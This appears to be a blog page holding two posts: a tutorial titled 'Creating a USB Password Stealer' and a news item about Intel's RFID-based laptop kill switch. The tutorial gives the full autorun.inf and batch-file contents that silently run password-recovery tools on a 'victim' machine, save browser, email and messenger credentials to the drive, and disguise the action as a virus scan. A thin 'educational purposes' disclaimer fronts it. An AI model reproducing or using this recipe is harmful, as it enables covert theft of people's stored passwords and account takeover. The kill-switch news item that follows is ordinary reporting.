Creating a USB Password Stealer #Pentesting #USB #Passwords #Infosec #Security

One of the most dangerous things we all do on a regular basis, for obvious reasons, is saving our passwords in our browsers. We don't really think about the dangers in it, we see the convenience in not having to input (in my case) 10 characters after already typing our username or email every time we want to do something as simple as log in to Facebook. Well this tutorial can show you how dangerous it really is just storing your passwords for easy access to your accounts.

I want everyone to keep in mind, this tutorial is strictly for educational purposes, & any attempts to use these tactics for stealing information without permission is solely on you. Don't go tattling on me.

What you'll need:

A USB Drive, preferably 2GB+

A Windows computer

MessenPass: Used for recovering passwords from various instant messenger applications.

Mail PassView: Used to fetch passwords from popular email clients such as Outlook or Thunderbird.

IE PassView: Used to gather passwords stored by Internet Explorer (for those who just can't accept change..)

Protected Storage PassView: This program retrieves passwords from Windows 'protected storage'. This is one of the most useful.

PasswordFox: Used to fetch passwords & sensitive information from Firefox.

Now, there are many others that you can add to this USB Password Fetcher, & if you know of any that you feel should be added to this article, don't hesitate to comment.

Preparing the drive

Before anything else, we want to get all the applications ready to go & installed on the USB drive. You'll ONLY need the executable (*.exe) files to be on the USB drive. Download the 5 tools & extract the executables to the drive. With the next step, we'll write a simple Autorun.inf file that will tell the victim's computer to run these applications.

Making the drive run automatically

What is an autorun.inf?

An autorun.inf file is a text file that can be used by the AutoRun and AutoPlay components of Microsoft Windows operating systems. For the file to be discovered and used by these component, it must be located in the root directory of a volume. As Windows has acase-insensitive view of filenames, the autorun.inf file can be stored as AutoRun.inf or Autorun.INF or any other case combination.

The AutoRun component was introduced in Windows 95 as a way of reducing support costs. AutoRun enabled application CD-ROMs to automatically launch a program which could then guide the user through the installation process. By placing settings in anautorun.inf file, manufacturers could decide what actions were taken when their CD-ROM was inserted. The simplest autorun.inf files have just two settings: one specifying an icon to represent the CD in Windows Explorer (or "My Computer") and one specifying which application to run.

This file will tell the victim's computer to run the various tasks we want the USB drive to perform.

Writing the Autorun.inf

Open Notepad & paste the following code in the document:

[autorun]

open=launch.bat

ACTION= Perform a Virus Scan

Now go to File & click Save As..

Save the file as: autorun.inf on the USB Drive's root.

Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

This alone won't do what we need it to, but as you can see its launching a batch(*.bat) file that we'll write next that will perform the password fetching process. The reason we do this is because we can perform more advanced tasks with a batch file than we can with an autorun.inf.

The ACTION= will display to the end user what the USB Drive's function is. We both know that its not performing a virus scan, but we wouldn't be very stealthy if it just read STEALING YOUR PASSWORD. U MAD BRO? so we're going to disguise this as a healthy computing task.

Writing the batch file

Open up Notepad again, & paste the following:

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

Aside from launching the various applications, we're actually asking the computer to log everything in an individual text (*.txt) file. Now if you really want to, you could ask the computer to create one universal log file, but I wouldn't recommend this. Its much easier to decipher this way.

Go to File, & Save As.. and save this file as launch.bat on the USB drive's root. Be sure to change the Save As Type to All Files, otherwise you'll just be saving this as a text file.

Now everything should be ready for testing!

Testing the USB Password Fetcher

Now keep in mind, in some cases, Autorun could be completely disabled, in which this tactic will not work, but let's get started with our first test.

Pop the USB Drive in any available USB port on the victim machine, & an autorun prompt will pop-up. The first option should say Perform A Virus Scan. Perform your "virus scan" & silently, your password fetcher is throwing all the information into various text files on your USB Drive. This process is relatively quick, so don't fret if you blinked & missed it.

Enjoy those passwords

Pull your drive from the victim computer & plug it into your personal computer. This time, to view the passwords, choose Open folder to view files from the autorun menu, & check your text files.

Intel Developing RFID Tracking and Remote Controlled 'Kill Switch' for Laptops #Intel #KillSwitch #Theft

 

 

Kill Switch - the ability to render devices non-operational to prevent theft - has become a hot topic nowadays. The ability to remotely destroy data of the device lost or stolen has been available for quite some time now, but Kill switch not only remotely destroy the devices’ data but also the device itself, making it useless for the thieves.

Just last week, Google and Microsoft signed an agreement with the New York Attorney General to add "kill switches" to the upcoming versions of Android and Windows Phone devices, as a part of the "Secure our Smartphones" initiative.

But now, the largest chip manufacturer, Intel will soon going to provide Kill Switches for your laptops as well. The company has been working on a project called Wireless Credential Exchange (WCE) with several partners in an effort to bring Kill switch to other mobile devices, including laptops.

The project uses RFID technology to provision, track and monitor devices such as laptops, hospital equipment and other devices, including a Kill Switch option for the lost or stolen devices.

You all might have heard about the RFID technology, which has been available for more than fifty years. RFID, stands for Radio-frequency identification, is the wireless non-contact use of Radio-Frequency electromagnetic fields to transfer signals, for the purposes of automatically identifying and tracking tags attached to objects.

The Wireless Credential Exchange (WCE) uses the Monza RFID chips developed by Impinj, industry-standard RFID readers created by Technology Solutions UK and a cloud-based data repository and dashboard created by Burnside Digital called IPTrak software.

The IPTrak software that ties all components together, allows Intel SoC to read and write data such as unique IDs, error logs, permissions, and device configuration to the Monza chip, even if the system is powered off.

Devices can be scanned using a RFID reader and data from the IPTrak software stored in a cloud-based database and accessed via IPTrak mobile device apps for Windows, iOS, or Android applications using Bluetooth technology.

For example, It has ability to disable a device prior to shipping and then only reactivating the device once it reaches its final destination. This would render a device useless if it were lost or stolen during shipment.

In addition to this, devices returned to a factory or repair center could be scanned, error logs read, and the device routed to the appropriate technicians without even opening the box.

Two years back, Intel added ‘Kill Switch’ to its Sandy Bridge processors naming them Anti-Theft 3.0, using which the processor can be disabled even if the computer has no Internet connection or isn't even turned on, over a 3G network, so that if computer is lost or stolen, it can be shut down remotely.

 

Posted Courtesy of Hacker News Website